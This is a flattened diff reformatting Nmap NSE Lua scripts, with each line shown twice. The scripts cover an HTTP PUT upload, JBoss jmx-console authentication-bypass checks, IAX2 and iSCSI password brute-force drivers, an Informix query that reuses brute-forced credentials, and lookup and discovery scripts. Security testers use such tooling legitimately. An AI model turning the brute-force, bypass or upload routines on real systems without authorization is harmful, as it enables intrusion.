local response = http.put(host, port, url, nil, content) local response = http.put(host, port, url, nil, content)
if ( response.status == 200 or response.status == 204 ) then if ( response.status == 200 or response.status == 204 ) then
return stdnse.format_output(true, ("%s was successfully created"):format(url)) return stdnse.format_output(true, ("%s was successfully created"):format(url))
end end
return stdnse.format_output(true, ("ERROR: %s could not be created"):format(url)) return stdnse.format_output(true, ("ERROR: %s could not be created"):format(url))
end end

View File

@@ -35,57 +35,57 @@ portrule = shortport.port_or_service( {80, 443}, {"http", "https"}, "tcp", "open
action = function(host, port) action = function(host, port)
local crawler = httpspider.Crawler:new(host, port, '/', { scriptname = SCRIPT_NAME, local crawler = httpspider.Crawler:new(host, port, '/', { scriptname = SCRIPT_NAME,
maxpagecount = 30, maxpagecount = 30,
maxdepth = -1, maxdepth = -1,
withinhost = 0, withinhost = 0,
withindomain = 0 withindomain = 0
}) })
crawler.options.doscraping = function(url) crawler.options.doscraping = function(url)
if crawler:iswithinhost(url) if crawler:iswithinhost(url)
and not crawler:isresource(url, "js") and not crawler:isresource(url, "js")
and not crawler:isresource(url, "css") then and not crawler:isresource(url, "css") then
return true return true
end end
end
crawler:set_timeout(10000)
if (not(crawler)) then
return
end
local scripts = {}
while(true) do
local status, r = crawler:crawl()
if (not(status)) then
if (r.err) then
return stdnse.format_output(true, ("ERROR: %s"):format(r.reason))
else
break
end
end end
crawler:set_timeout(10000) if crawler:isresource(r.url, "js") and not crawler:iswithinhost(r.url) then
scripts[tostring(r.url)] = true
if (not(crawler)) then
return
end end
local scripts = {} end
while(true) do if next(scripts) == nil then
return "Couldn't find any cross-domain scripts."
end
local status, r = crawler:crawl() local results = {}
if (not(status)) then for s, _ in pairs(scripts) do
if (r.err) then table.insert(results, s)
return stdnse.format_output(true, ("ERROR: %s"):format(r.reason)) end
else
break
end
end
if crawler:isresource(r.url, "js") and not crawler:iswithinhost(r.url) then results.name = crawler:getLimitations()
scripts[tostring(r.url)] = true
end
end return stdnse.format_output(true, results)
if next(scripts) == nil then
return "Couldn't find any cross-domain scripts."
end
local results = {}
for s, _ in pairs(scripts) do
table.insert(results, s)
end
results.name = crawler:getLimitations()
return stdnse.format_output(true, results)
end end

View File

@@ -46,28 +46,28 @@ categories = {"discovery", "safe", "external"}
-- @param data string containing the retrieved web page -- @param data string containing the retrieved web page
-- @return table containing the resolved host names -- @return table containing the resolved host names
function parse_robtex_response(data) function parse_robtex_response(data)
local data = string.gsub(data,"\r?\n","") local data = string.gsub(data,"\r?\n","")
local result = {} local result = {}
for href, link in string.gmatch(data,"<li><a href=\"([^\"^']-)\" >([^\"^']-)</a></li>") do for href, link in string.gmatch(data,"<li><a href=\"([^\"^']-)\" >([^\"^']-)</a></li>") do
table.insert(result, link) table.insert(result, link)
end end
return result return result
end end
prerule = function() return stdnse.get_script_args("http-robtex-reverse-ip.host") ~= nil end prerule = function() return stdnse.get_script_args("http-robtex-reverse-ip.host") ~= nil end
action = function(host, port) action = function(host, port)
local target = stdnse.get_script_args("http-robtex-reverse-ip.host") local target = stdnse.get_script_args("http-robtex-reverse-ip.host")
local ip = ipOps.ip_to_str(target) local ip = ipOps.ip_to_str(target)
if ( not(ip) or #ip ~= 4 ) then if ( not(ip) or #ip ~= 4 ) then
return stdnse.format_output(false, "The argument \"http-robtex-reverse-ip.host\" did not contain a valid IPv4 address") return stdnse.format_output(false, "The argument \"http-robtex-reverse-ip.host\" did not contain a valid IPv4 address")
end end
local link = "https://www.robtex.com/ip/"..target..".html" local link = "https://www.robtex.com/ip/"..target..".html"
local htmldata = http.get_url(link) local htmldata = http.get_url(link)
local domains = parse_robtex_response(htmldata.body) local domains = parse_robtex_response(htmldata.body)
if ( #domains > 0 ) then if ( #domains > 0 ) then
return stdnse.format_output(true, domains) return stdnse.format_output(true, domains)
end end
end end

View File

@@ -43,56 +43,56 @@ end
function parse_robtex_response(data) function parse_robtex_response(data)
local result = {} local result = {}
if ( not(data) ) then if ( not(data) ) then
return return
end end
-- cut out the section we're interested in -- cut out the section we're interested in
data = data:match("<span id=\"sharednss\">.-<ul.->(.-)</ul>") data = data:match("<span id=\"sharednss\">.-<ul.->(.-)</ul>")
-- process each html list item -- process each html list item
for li in data:gmatch("<li>(.-)</li>") do for li in data:gmatch("<li>(.-)</li>") do
local domain = li:match("<a.->(.*)</a>") local domain = li:match("<a.->(.*)</a>")
if ( domain ) then if ( domain ) then
table.insert(result, domain) table.insert(result, domain)
end end
end end
return result return result
end end
local function lookup_dns_server(data) local function lookup_dns_server(data)
return data:match("The primary name server is <a.->(.-)</a>.") return data:match("The primary name server is <a.->(.-)</a>.")
end end
local function fetch_robtex_data(url) local function fetch_robtex_data(url)
local htmldata = http.get("www.robtex.com", 443, url) local htmldata = http.get("www.robtex.com", 443, url)
if ( not(htmldata) or not(htmldata.body) ) then if ( not(htmldata) or not(htmldata.body) ) then
return return
end end
-- fixup hex encodings -- fixup hex encodings
return unescape(htmldata.body) return unescape(htmldata.body)
end end
hostrule = function (host) return host.targetname end hostrule = function (host) return host.targetname end
action = function(host) action = function(host)
local base_url = "/dns/" .. host.targetname .. ".html" local base_url = "/dns/" .. host.targetname .. ".html"
local data = fetch_robtex_data(base_url) local data = fetch_robtex_data(base_url)
local domains = parse_robtex_response(data) local domains = parse_robtex_response(data)
if ( not(domains) ) then if ( not(domains) ) then
local server = lookup_dns_server(data) local server = lookup_dns_server(data)
if ( not(server) ) then if ( not(server) ) then
return return
end end
local url = base_url:format(server) local url = base_url:format(server)
stdnse.print_debug(2, "%s: Querying URL: %s", SCRIPT_NAME, url) stdnse.print_debug(2, "%s: Querying URL: %s", SCRIPT_NAME, url)
data = fetch_robtex_data(url) data = fetch_robtex_data(url)
domains = parse_robtex_response(data) domains = parse_robtex_response(data)
end end
if (domains and #domains > 0) then if (domains and #domains > 0) then
return stdnse.format_output(true, domains) return stdnse.format_output(true, domains)

View File

@@ -58,29 +58,29 @@ local function fail(err) return ("\n ERROR: %s"):format(err or "") end
action = function(host, port) action = function(host, port)
local response = http.get(host, port, ("/secure?command=browse&dir=%s"):format(arg_dir)) local response = http.get(host, port, ("/secure?command=browse&dir=%s"):format(arg_dir))
if ( response.status ~= 200 or not(response.body) or 0 == #response.body ) then if ( response.status ~= 200 or not(response.body) or 0 == #response.body ) then
if ( response.status == 401 ) then if ( response.status == 401 ) then
return fail("Server requires authentication") return fail("Server requires authentication")
else else
return return
end end
end end
local status, parsed = json.parse(response.body) local status, parsed = json.parse(response.body)
if ( not(status) ) then if ( not(status) ) then
return fail("Failed to parse response") return fail("Failed to parse response")
end end
if ( parsed.errorMessage ) then if ( parsed.errorMessage ) then
return fail(parsed.errorMessage) return fail(parsed.errorMessage)
end end
local output = {} local output = {}
for _, entry in pairs(parsed.files or {}) do for _, entry in pairs(parsed.files or {}) do
table.insert(output,entry.path) table.insert(output,entry.path)
end end
table.sort(output, function(a,b) return a<b end) table.sort(output, function(a,b) return a<b end)
return stdnse.format_output(true, output) return stdnse.format_output(true, output)
end end

View File

@@ -38,42 +38,42 @@ portrule = shortport.http
action = function(host, port) action = function(host, port)
local paths = stdnse.get_script_args(SCRIPT_NAME..".paths") local paths = stdnse.get_script_args(SCRIPT_NAME..".paths")
local result = {} local result = {}
-- convert single string entry to table -- convert single string entry to table
if ( "string" == type(paths) ) then if ( "string" == type(paths) ) then
paths = { paths } paths = { paths }
end end
-- Identify servers that answer 200 to invalid HTTP requests and exit as these would invalidate the tests -- Identify servers that answer 200 to invalid HTTP requests and exit as these would invalidate the tests
local _, http_status, _ = http.identify_404(host,port) local _, http_status, _ = http.identify_404(host,port)
if ( http_status == 200 ) then if ( http_status == 200 ) then
stdnse.print_debug(1, "%s: Exiting due to ambiguous response from web server on %s:%s. All URIs return status 200.", SCRIPT_NAME, host.ip, port.number) stdnse.print_debug(1, "%s: Exiting due to ambiguous response from web server on %s:%s. All URIs return status 200.", SCRIPT_NAME, host.ip, port.number)
return false return false
end end
-- fallback to jmx-console -- fallback to jmx-console
paths = paths or {"/jmx-console/"} paths = paths or {"/jmx-console/"}
for _, path in ipairs(paths) do for _, path in ipairs(paths) do
local getstatus = http.get(host, port, path).status local getstatus = http.get(host, port, path).status
-- Checks if HTTP authentication or a redirection to a login page is applied. -- Checks if HTTP authentication or a redirection to a login page is applied.
if getstatus == 401 or getstatus == 302 then if getstatus == 401 or getstatus == 302 then
local headstatus = http.head(host, port, path).status local headstatus = http.head(host, port, path).status
if headstatus == 500 and path == "/jmx-console/" then if headstatus == 500 and path == "/jmx-console/" then
-- JBoss authentication bypass. -- JBoss authentication bypass.
table.insert(result, ("%s: Vulnerable to CVE-2010-0738."):format(path)) table.insert(result, ("%s: Vulnerable to CVE-2010-0738."):format(path))
elseif headstatus == 200 then elseif headstatus == 200 then
-- Vulnerable to authentication bypass. -- Vulnerable to authentication bypass.
table.insert(result, ("%s: Authentication bypass possible"):format(path)) table.insert(result, ("%s: Authentication bypass possible"):format(path))
end end
-- Checks if no authentication is required for Jmx console -- Checks if no authentication is required for Jmx console
-- which is default configuration and common. -- which is default configuration and common.
elseif getstatus == 200 then elseif getstatus == 200 then
table.insert(result, ("%s: Authentication was not required"):format(path)) table.insert(result, ("%s: Authentication was not required"):format(path))
end
end end
end
return stdnse.format_output(true, result) return stdnse.format_output(true, result)
end end

View File

@@ -37,40 +37,40 @@ portrule = shortport.port_or_service(4569, "iax2", {"udp", "tcp"})
Driver = { Driver = {
new = function(self, host, port) new = function(self, host, port)
local o = { host = host, port = port } local o = { host = host, port = port }
setmetatable(o, self) setmetatable(o, self)
self.__index = self self.__index = self
return o return o
end, end,
connect = function(self) connect = function(self)
self.helper = iax2.Helper:new(self.host, self.port) self.helper = iax2.Helper:new(self.host, self.port)
return self.helper:connect() return self.helper:connect()
end, end,
login = function(self, username, password) login = function(self, username, password)
local status, resp = self.helper:regRelease(username, password) local status, resp = self.helper:regRelease(username, password)
if ( status ) then if ( status ) then
return true, brute.Account:new( username, password, creds.State.VALID ) return true, brute.Account:new( username, password, creds.State.VALID )
elseif ( resp == "Release failed" ) then elseif ( resp == "Release failed" ) then
return false, brute.Error:new( "Incorrect password" ) return false, brute.Error:new( "Incorrect password" )
else else
local err = brute.Error:new(resp) local err = brute.Error:new(resp)
err:setRetry(true) err:setRetry(true)
return false, err return false, err
end end
end, end,
disconnect = function(self) return self.helper:close() end, disconnect = function(self) return self.helper:close() end,
} }
action = function(host, port) action = function(host, port)
local engine = brute.Engine:new(Driver, host, port) local engine = brute.Engine:new(Driver, host, port)
engine.options.script_name = SCRIPT_NAME engine.options.script_name = SCRIPT_NAME
local status, result = engine:start() local status, result = engine:start()
return result return result
end end

View File

@@ -35,17 +35,17 @@ action = function(host, port)
helper:close() helper:close()
if type(capa) == "table" then if type(capa) == "table" then
-- Convert the capabilities table into an array of strings. -- Convert the capabilities table into an array of strings.
local capstrings = {} local capstrings = {}
local cap, args local cap, args
for cap, args in pairs(capa) do for cap, args in pairs(capa) do
table.insert(capstrings, cap) table.insert(capstrings, cap)
end end
return stdnse.strjoin(" ", capstrings) return stdnse.strjoin(" ", capstrings)
elseif type(capa) == "string" then elseif type(capa) == "string" then
stdnse.print_debug(1, "%s: '%s' for %s", SCRIPT_NAME, capa, host.ip) stdnse.print_debug(1, "%s: '%s' for %s", SCRIPT_NAME, capa, host.ip)
return return
else else
return "server doesn't support CAPABILITIES" return "server doesn't support CAPABILITIES"
end end
end end

View File

@@ -46,49 +46,49 @@ dependencies = { "informix-brute" }
portrule = shortport.port_or_service( { 1526, 9088, 9090, 9092 }, "informix", "tcp", "open") portrule = shortport.port_or_service( { 1526, 9088, 9090, 9092 }, "informix", "tcp", "open")
action = function( host, port ) action = function( host, port )
local instance = stdnse.get_script_args('informix-info.instance') local instance = stdnse.get_script_args('informix-info.instance')
local helper local helper
local status, data local status, data
local result = {} local result = {}
local user = stdnse.get_script_args('informix-query.username') local user = stdnse.get_script_args('informix-query.username')
local pass = stdnse.get_script_args('informix-query.password') local pass = stdnse.get_script_args('informix-query.password')
local query = stdnse.get_script_args('informix-query.query') local query = stdnse.get_script_args('informix-query.query')
local db = stdnse.get_script_args('informix-query.database') or "sysmaster" local db = stdnse.get_script_args('informix-query.database') or "sysmaster"
query = query or "SELECT FIRST 1 DBINFO('dbhostname') hostname, " .. query = query or "SELECT FIRST 1 DBINFO('dbhostname') hostname, " ..
"DBINFO('version','full') version FROM systables" "DBINFO('version','full') version FROM systables"
helper = informix.Helper:new( host, port, instance ) helper = informix.Helper:new( host, port, instance )
-- If no user was specified lookup the first user in the registry saved by -- If no user was specified lookup the first user in the registry saved by
-- the informix-brute script -- the informix-brute script
if ( not(user) ) then if ( not(user) ) then
if ( nmap.registry['informix-brute'] and nmap.registry['informix-brute'][1]["username"] ) then if ( nmap.registry['informix-brute'] and nmap.registry['informix-brute'][1]["username"] ) then
user = nmap.registry['informix-brute'][1]["username"] user = nmap.registry['informix-brute'][1]["username"]
pass = nmap.registry['informix-brute'][1]["password"] pass = nmap.registry['informix-brute'][1]["password"]
else else
return " \n ERROR: No credentials specified (see informix-table.username and informix-table.password)" return " \n ERROR: No credentials specified (see informix-table.username and informix-table.password)"
end end
end end
status, data = helper:Connect() status, data = helper:Connect()
if ( not(status) ) then if ( not(status) ) then
return stdnse.format_output(status, data) return stdnse.format_output(status, data)
end end
status, data = helper:Login(user, pass, nil, db) status, data = helper:Login(user, pass, nil, db)
if ( not(status) ) then return stdnse.format_output(status, data) end if ( not(status) ) then return stdnse.format_output(status, data) end
status, data = helper:Query(query) status, data = helper:Query(query)
if ( not(status) ) then return stdnse.format_output(status, data) end if ( not(status) ) then return stdnse.format_output(status, data) end
for _, rs in ipairs(data) do for _, rs in ipairs(data) do
table.insert( result, { "User: " .. user, "Database: " .. db, ( "Query: \"%s\"" ):format( rs.query ), name="Information" } ) table.insert( result, { "User: " .. user, "Database: " .. db, ( "Query: \"%s\"" ):format( rs.query ), name="Information" } )
local tmp = informix.Util.formatTable( rs ) local tmp = informix.Util.formatTable( rs )
tmp.name = "Results" tmp.name = "Results"
table.insert( result, tmp ) table.insert( result, tmp )
end end
return stdnse.format_output(status, result) return stdnse.format_output(status, result)
end end

View File

@@ -39,67 +39,67 @@ categories = {"safe", "discovery"}
local arg_target = stdnse.get_script_args(SCRIPT_NAME .. ".target") local arg_target = stdnse.get_script_args(SCRIPT_NAME .. ".target")
hostrule = function(host) hostrule = function(host)
if ( not(host.mac_addr) ) then if ( not(host.mac_addr) ) then
stdnse.print_debug( "%s: Failed to determine hosts remote MAC address", SCRIPT_NAME ) stdnse.print_debug( "%s: Failed to determine hosts remote MAC address", SCRIPT_NAME )
end end
return (arg_target ~= nil and host.mac_addr ~= nil) return (arg_target ~= nil and host.mac_addr ~= nil)
end end
icmpEchoRequest = function(ifname, host, addr) icmpEchoRequest = function(ifname, host, addr)
local iface = nmap.get_interface_info(ifname) local iface = nmap.get_interface_info(ifname)
local dnet, pcap = nmap.new_dnet(), nmap.new_socket() local dnet, pcap = nmap.new_dnet(), nmap.new_socket()
pcap:set_timeout(5000) pcap:set_timeout(5000)
pcap:pcap_open(iface.device, 128, false, ("ether src %s and icmp and ( icmp[0] = 0 or icmp[0] = 5 ) and dst %s"):format(stdnse.format_mac(host.mac_addr), iface.address)) pcap:pcap_open(iface.device, 128, false, ("ether src %s and icmp and ( icmp[0] = 0 or icmp[0] = 5 ) and dst %s"):format(stdnse.format_mac(host.mac_addr), iface.address))
dnet:ethernet_open(iface.device) dnet:ethernet_open(iface.device)
local probe = packet.Frame:new() local probe = packet.Frame:new()
probe.mac_src = iface.mac probe.mac_src = iface.mac
probe.mac_dst = host.mac_addr probe.mac_dst = host.mac_addr
probe.ip_bin_src = packet.iptobin(iface.address) probe.ip_bin_src = packet.iptobin(iface.address)
probe.ip_bin_dst = packet.iptobin(addr) probe.ip_bin_dst = packet.iptobin(addr)
probe.echo_id = 0x1234 probe.echo_id = 0x1234
probe.echo_seq = 6 probe.echo_seq = 6
probe.echo_data = "Nmap host discovery." probe.echo_data = "Nmap host discovery."
probe:build_icmp_echo_request() probe:build_icmp_echo_request()
probe:build_icmp_header() probe:build_icmp_header()
probe:build_ip_packet() probe:build_ip_packet()
probe:build_ether_frame() probe:build_ether_frame()
dnet:ethernet_send(probe.frame_buf) dnet:ethernet_send(probe.frame_buf)
local status = pcap:pcap_receive() local status = pcap:pcap_receive()
dnet:ethernet_close() dnet:ethernet_close()
return status return status
end end
local function fail(err) return ("\n ERROR: %s"):format(err or "") end local function fail(err) return ("\n ERROR: %s"):format(err or "") end
action = function(host) action = function(host)
local ifname = nmap.get_interface() or host.interface local ifname = nmap.get_interface() or host.interface
if ( not(ifname) ) then if ( not(ifname) ) then
return fail("Failed to determine the network interface name") return fail("Failed to determine the network interface name")
end end
local target = ipOps.ip_to_bin(arg_target) local target = ipOps.ip_to_bin(arg_target)
if ( not(target) ) then if ( not(target) ) then
local status local status
status, target = dns.query(arg_target, { dtype='A' }) status, target = dns.query(arg_target, { dtype='A' })
if ( not(status) ) then if ( not(status) ) then
return fail(("Failed to lookup hostname: %s"):format(arg_target)) return fail(("Failed to lookup hostname: %s"):format(arg_target))
end end
else else
target = arg_target target = arg_target
end end
if ( target == host.ip ) then if ( target == host.ip ) then
return ("\n ERROR: Target can not be the same as the scanned host") return ("\n ERROR: Target can not be the same as the scanned host")
end end
if (icmpEchoRequest(ifname, host, target)) then if (icmpEchoRequest(ifname, host, target)) then
return ("\n The host has ip forwarding enabled, tried ping against (%s)"):format(arg_target) return ("\n The host has ip forwarding enabled, tried ping against (%s)"):format(arg_target)
end end
end end

View File

@@ -39,49 +39,49 @@ categories = {"discovery","external","safe"}
hostrule = function(host) hostrule = function(host)
local is_private, err = ipOps.isPrivate( host.ip ) local is_private, err = ipOps.isPrivate( host.ip )
if is_private == nil then if is_private == nil then
stdnse.print_debug( "%s Error in Hostrule: %s.", SCRIPT_NAME, err ) stdnse.print_debug( "%s Error in Hostrule: %s.", SCRIPT_NAME, err )
return false return false
end end
return not is_private return not is_private
end end
-- Limit is 20 request per hour per requesting host, when reached all table -- Limit is 20 request per hour per requesting host, when reached all table
-- values are filled with a "Limit Exceeded" value. A record in the registry is -- values are filled with a "Limit Exceeded" value. A record in the registry is
-- made so no more requests are made to the server during one scan -- made so no more requests are made to the server during one scan
action = function(host) action = function(host)
if nmap.registry["ip-geolocation-geobytes"] and nmap.registry["ip-geolocation-geobytes"].blocked then if nmap.registry["ip-geolocation-geobytes"] and nmap.registry["ip-geolocation-geobytes"].blocked then
stdnse.print_debug("%s: 20 requests per hour Limit Exceeded", SCRIPT_NAME) stdnse.print_debug("%s: 20 requests per hour Limit Exceeded", SCRIPT_NAME)
return nil return nil
end end
local response = http.get("www.geobytes.com", 80, "/IpLocator.htm?GetLocation&template=json.txt&IpAddress="..host.ip, nil) local response = http.get("www.geobytes.com", 80, "/IpLocator.htm?GetLocation&template=json.txt&IpAddress="..host.ip, nil)
local stat, out = json.parse(response.body) local stat, out = json.parse(response.body)
if stat then if stat then
local loc = out.geobytes local loc = out.geobytes
local output=stdnse.output_table() local output=stdnse.output_table()
if loc.city and loc.city == "Limit Exceeded" then if loc.city and loc.city == "Limit Exceeded" then
if not nmap.registry["ip-geolocation-geobytes"] then nmap.registry["ip-geolocation-geobytes"]={} end if not nmap.registry["ip-geolocation-geobytes"] then nmap.registry["ip-geolocation-geobytes"]={} end
nmap.registry["ip-geolocation-geobytes"].blocked = true nmap.registry["ip-geolocation-geobytes"].blocked = true
stdnse.print_debug("%s: 20 requests per hour Limit Exceeded", SCRIPT_NAME) stdnse.print_debug("%s: 20 requests per hour Limit Exceeded", SCRIPT_NAME)
return nil return nil
end end
-- Process output -- Process output
-- an empty table is returned when latitude and longitude can not be determined -- an empty table is returned when latitude and longitude can not be determined
if ( "table" == type(loc.latitude) or "table" == type(loc.longitude) ) then if ( "table" == type(loc.latitude) or "table" == type(loc.longitude) ) then
return "Could not determine location for IP" return "Could not determine location for IP"
end end
output["latitude"] = loc.latitude output["latitude"] = loc.latitude
output["longitude"] = loc.longitude output["longitude"] = loc.longitude
output["city"] = loc.city output["city"] = loc.city
output["region"] = loc.region output["region"] = loc.region
output["country"] = loc.country output["country"] = loc.country
return output return output
elseif response.body:match("Limit Exceeded") then elseif response.body:match("Limit Exceeded") then
if not nmap.registry["ip-geolocation-geobytes"] then nmap.registry["ip-geolocation-geobytes"]={} end if not nmap.registry["ip-geolocation-geobytes"] then nmap.registry["ip-geolocation-geobytes"]={} end
nmap.registry["ip-geolocation-geobytes"].blocked = true nmap.registry["ip-geolocation-geobytes"].blocked = true
stdnse.print_debug("%s: 20 requests per hour Limit Exceeded", SCRIPT_NAME) stdnse.print_debug("%s: 20 requests per hour Limit Exceeded", SCRIPT_NAME)
return nil return nil
end end
return nil return nil
end end

View File

@@ -27,37 +27,37 @@ categories = {"discovery","external","safe"}
hostrule = function(host) hostrule = function(host)
local is_private, err = ipOps.isPrivate( host.ip ) local is_private, err = ipOps.isPrivate( host.ip )
if is_private == nil then if is_private == nil then
stdnse.print_debug( "%s Error in Hostrule: %s.", SCRIPT_NAME, err ) stdnse.print_debug( "%s Error in Hostrule: %s.", SCRIPT_NAME, err )
return false return false
end end
return not is_private return not is_private
end end
-- No limit on requests -- No limit on requests
local geoplugin = function(ip) local geoplugin = function(ip)
local response = http.get("www.geoplugin.net", 80, "/json.gp?ip="..ip, nil) local response = http.get("www.geoplugin.net", 80, "/json.gp?ip="..ip, nil)
local stat, loc = json.parse(response.body) local stat, loc = json.parse(response.body)
if not stat then return nil end if not stat then return nil end
local output = {} local output = {}
table.insert(output, "coordinates (lat,lon): "..loc.geoplugin_latitude..","..loc.geoplugin_longitude) table.insert(output, "coordinates (lat,lon): "..loc.geoplugin_latitude..","..loc.geoplugin_longitude)
local regionName = (loc.geoplugin_regionName == json.NULL) and "Unknown" or loc.geoplugin_regionName local regionName = (loc.geoplugin_regionName == json.NULL) and "Unknown" or loc.geoplugin_regionName
table.insert(output,"state: ".. regionName ..", ".. loc.geoplugin_countryName) table.insert(output,"state: ".. regionName ..", ".. loc.geoplugin_countryName)
return output return output
end end
action = function(host,port) action = function(host,port)
local output = geoplugin(host.ip) local output = geoplugin(host.ip)
if(#output~=0) then if(#output~=0) then
output.name = host.ip output.name = host.ip
if host.targetname then if host.targetname then
output.name = output.name.." ("..host.targetname..")" output.name = output.name.." ("..host.targetname..")"
end end
end end
return stdnse.format_output(true,output) return stdnse.format_output(true,output)
end end

View File

@@ -34,54 +34,54 @@ categories = {"discovery","external","safe"}
hostrule = function(host) hostrule = function(host)
local is_private, err = ipOps.isPrivate( host.ip ) local is_private, err = ipOps.isPrivate( host.ip )
if is_private == nil then if is_private == nil then
stdnse.print_debug( "%s not running: Error in Hostrule: %s.", SCRIPT_NAME, err ) stdnse.print_debug( "%s not running: Error in Hostrule: %s.", SCRIPT_NAME, err )
return false return false
elseif is_private then elseif is_private then
stdnse.print_debug("%s not running: Private IP address of target: %s", SCRIPT_NAME, host.ip) stdnse.print_debug("%s not running: Private IP address of target: %s", SCRIPT_NAME, host.ip)
return false return false
end end
local api_key = stdnse.get_script_args(SCRIPT_NAME..".apikey") local api_key = stdnse.get_script_args(SCRIPT_NAME..".apikey")
if not (type(api_key)=="string") then if not (type(api_key)=="string") then
stdnse.print_debug("%s not running: No IPInfoDB API key specified.", SCRIPT_NAME) stdnse.print_debug("%s not running: No IPInfoDB API key specified.", SCRIPT_NAME)
return false return false
end end
return true return true
end end
-- No limit on requests. A free registration for an API key is a prerequisite -- No limit on requests. A free registration for an API key is a prerequisite
local ipinfodb = function(ip) local ipinfodb = function(ip)
local api_key = stdnse.get_script_args(SCRIPT_NAME..".apikey") local api_key = stdnse.get_script_args(SCRIPT_NAME..".apikey")
local response = http.get("api.ipinfodb.com", 80, "/v3/ip-city/?key="..api_key.."&format=json".."&ip="..ip, nil) local response = http.get("api.ipinfodb.com", 80, "/v3/ip-city/?key="..api_key.."&format=json".."&ip="..ip, nil)
local stat, loc = json.parse(response.body) local stat, loc = json.parse(response.body)
if not stat then if not stat then
stdnse.print_debug("No response, possibly a network problem.") stdnse.print_debug("No response, possibly a network problem.")
return nil return nil
end end
if loc.statusMessage and loc.statusMessage == "Invalid API key." then if loc.statusMessage and loc.statusMessage == "Invalid API key." then
stdnse.print_debug(loc.statusMessage) stdnse.print_debug(loc.statusMessage)
return nil return nil
end end
local output = {} local output = {}
table.insert(output, "coordinates (lat,lon): "..loc.latitude..","..loc.longitude) table.insert(output, "coordinates (lat,lon): "..loc.latitude..","..loc.longitude)
table.insert(output,"city: ".. loc.cityName..", ".. loc.regionName..", ".. loc.countryName) table.insert(output,"city: ".. loc.cityName..", ".. loc.regionName..", ".. loc.countryName)
return output return output
end end
action = function(host,port) action = function(host,port)
local output = ipinfodb(host.ip) local output = ipinfodb(host.ip)
if(#output~=0) then if(#output~=0) then
output.name = host.ip output.name = host.ip
if host.targetname then if host.targetname then
output.name = output.name.." ("..host.targetname..")" output.name = output.name.." ("..host.targetname..")"
end end
end end
return stdnse.format_output(true,output) return stdnse.format_output(true,output)
end end

View File

@@ -31,60 +31,60 @@ portrule = shortport.portnumber(3260, "tcp", {"open", "open|filtered"})
Driver = { Driver = {
new = function(self, host, port) new = function(self, host, port)
local o = {} local o = {}
setmetatable(o, self) setmetatable(o, self)
self.__index = self self.__index = self
o.host = host o.host = host
o.port = port o.port = port
o.target = stdnse.get_script_args('iscsi-brute.target') o.target = stdnse.get_script_args('iscsi-brute.target')
return o return o
end, end,
connect = function( self ) connect = function( self )
self.helper = iscsi.Helper:new( self.host, self.port ) self.helper = iscsi.Helper:new( self.host, self.port )
return self.helper:connect() return self.helper:connect()
end, end,
login = function( self, username, password ) login = function( self, username, password )
local status = self.helper:login( self.target, username, password, "CHAP") local status = self.helper:login( self.target, username, password, "CHAP")
if ( status ) then if ( status ) then
return true, brute.Account:new(username, password, creds.State.VALID) return true, brute.Account:new(username, password, creds.State.VALID)
end end
return false, brute.Error:new( "Incorrect password" ) return false, brute.Error:new( "Incorrect password" )
end, end,
disconnect = function( self ) disconnect = function( self )
self.helper:close() self.helper:close()
end, end,
} }
action = function( host, port ) action = function( host, port )
local target = stdnse.get_script_args('iscsi-brute.target') local target = stdnse.get_script_args('iscsi-brute.target')
if ( not(target) ) then if ( not(target) ) then
return "ERROR: No target specified (see iscsi-brute.target)" return "ERROR: No target specified (see iscsi-brute.target)"
end end
local helper = iscsi.Helper:new( host, port ) local helper = iscsi.Helper:new( host, port )
local status, err = helper:connect() local status, err = helper:connect()
if ( not(status) ) then return false, "Failed to connect" end if ( not(status) ) then return false, "Failed to connect" end
local response local response
status, response = helper:login( target ) status, response = helper:login( target )
helper:logout() helper:logout()
helper:close() helper:close()
if ( status ) then return "No authentication required" end if ( status ) then return "No authentication required" end
local accounts local accounts
local engine = brute.Engine:new(Driver, host, port) local engine = brute.Engine:new(Driver, host, port)
engine.options.script_name = SCRIPT_NAME engine.options.script_name = SCRIPT_NAME
status, accounts = engine:start() status, accounts = engine:start()
if ( status ) then return accounts end if ( status ) then return accounts end
end end

View File

@@ -37,60 +37,60 @@ portrule = shortport.portnumber(3260, "tcp", {"open", "open|filtered"})
-- @return result true if auth is required false if not -- @return result true if auth is required false if not
-- err string containing error message -- err string containing error message
local function requiresAuth( host, port, target ) local function requiresAuth( host, port, target )
local helper = iscsi.Helper:new( host, port ) local helper = iscsi.Helper:new( host, port )
local errors = iscsi.Packet.LoginResponse.Errors local errors = iscsi.Packet.LoginResponse.Errors
local status, err = helper:connect() local status, err = helper:connect()
if ( not(status) ) then return false, "Failed to connect" end if ( not(status) ) then return false, "Failed to connect" end
local response local response
status, response = helper:login( target ) status, response = helper:login( target )
if ( not(status) ) then return false, response:getErrorMessage() end if ( not(status) ) then return false, response:getErrorMessage() end
if ( status and response:getErrorCode() == errors.SUCCESS) then if ( status and response:getErrorCode() == errors.SUCCESS) then
-- try to logout -- try to logout
status = helper:logout() status = helper:logout()
end end
status = helper:close() status = helper:close()
return true, "Authentication successful" return true, "Authentication successful"
end end
action = function( host, port ) action = function( host, port )
local helper = iscsi.Helper:new( host, port ) local helper = iscsi.Helper:new( host, port )
local status = helper:connect() local status = helper:connect()
if ( not(status) ) then if ( not(status) ) then
stdnse.print_debug("%s: failed to connect to server", SCRIPT_NAME ) stdnse.print_debug("%s: failed to connect to server", SCRIPT_NAME )
return return
end end
local records local records
status, records = helper:discoverTargets() status, records = helper:discoverTargets()
if ( not(status) ) then if ( not(status) ) then
stdnse.print_debug("%s: failed to discover targets", SCRIPT_NAME ) stdnse.print_debug("%s: failed to discover targets", SCRIPT_NAME )
return return
end end
status = helper:logout() status = helper:logout()
status = helper:close() status = helper:close()
local result = {} local result = {}
for _, record in ipairs(records) do for _, record in ipairs(records) do
local result_part = {} local result_part = {}
result_part.name = ("Target: %s"):format(record.name) result_part.name = ("Target: %s"):format(record.name)
for _, addr in ipairs( record.addr ) do for _, addr in ipairs( record.addr ) do
table.insert(result_part, ("Address: %s"):format(addr) ) table.insert(result_part, ("Address: %s"):format(addr) )
end end
local status, err = requiresAuth( host, port, record.name ) local status, err = requiresAuth( host, port, record.name )
if ( not(status) ) then if ( not(status) ) then
table.insert(result_part, "Authentication: " .. err ) table.insert(result_part, "Authentication: " .. err )
else else
table.insert(result_part, "Authentication: No authentication required") table.insert(result_part, "Authentication: No authentication required")
end end
table.insert(result, result_part) table.insert(result, result_part)
end end
return stdnse.format_output( true, result ) return stdnse.format_output( true, result )
end end

View File

@@ -37,35 +37,35 @@ categories = {"safe", "discovery"}
local function fail(err) return ("\n ERROR: %s"):format(err or "") end local function fail(err) return ("\n ERROR: %s"):format(err or "") end
